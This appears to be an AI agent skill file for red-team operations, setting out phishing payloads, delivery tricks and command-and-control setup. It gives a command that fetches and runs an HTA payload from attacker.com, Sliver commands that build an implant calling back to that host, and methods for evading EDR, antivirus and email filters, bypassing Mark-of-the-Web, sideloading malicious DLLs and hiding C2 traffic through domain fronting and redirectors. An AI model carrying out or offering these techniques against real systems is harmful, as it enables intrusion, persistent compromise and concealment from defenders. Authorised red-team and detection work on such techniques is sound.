red-team-ops

Red Team Operations

When to Activate

• Simulating advanced persistent threat (APT) operations
• Testing detection and response capabilities
• Establishing persistent access and C2
• Evading EDR/AV/SIEM detection
• Privilege escalation on compromised hosts
• Data exfiltration planning

Initial Access

Phishing Payloads

# Office macro (VBA)
# - AutoOpen/Document_Open trigger
# - Download cradle: PowerShell IEX or certutil
# - Sandbox evasion: check domain join, user interaction delay

# HTA (HTML Application)
mshta http://attacker.com/payload.hta

# ISO/IMG mounting (bypass MOTW)
# Package LNK + DLL inside ISO → double-click mounts, LNK executes DLL

# OneNote (.one) with embedded scripts
# Drag-and-drop .bat/.hta behind fake "Double click to view" image

# DLL sideloading
# Find legitimate signed EXE that loads DLL from CWD
# Place malicious DLL alongside legitimate EXE in delivery package

Delivery Mechanisms

# Smuggling past email gateways:
# - Password-protected ZIP (password in email body)
# - HTML smuggling (JS constructs blob → downloads file)
# - QR code to attacker-controlled site
# - Legitimate file-sharing (OneDrive, Google Drive links)

Command & Control (C2)

Infrastructure Setup

# Sliver C2
sliver-server
> generate --mtls attacker.com --os windows --arch amd64 --format exe --save implant.exe
> mtls --lhost 0.0.0.0 --lport 443
> https --lhost 0.0.0.0 --lport 8443 --domain legit-looking.com

# Domain fronting / CDN hiding
# Use high-reputation domains (cloudfront, azure CDN)
# C2 traffic appears as legitimate HTTPS to CDN

# Redirectors
# socat TCP-LISTEN:443,fork TCP:c2-server:443
# Apache mod_rewrite rules to filter blue team probes

# Malleable C2 profiles (Cobalt Strike)
# Mimic legitimate traffic patterns (Slack, Teams, O365)

C2 Communication Patterns

# DNS over HTTPS (DoH) — blends with normal traffic
# Domain fronting — SNI vs Host header mismatch
# Named pipes — internal lateral movement without network traffic
# SMB beacons — blend with normal AD traffic
# Websockets — persistent connection through proxies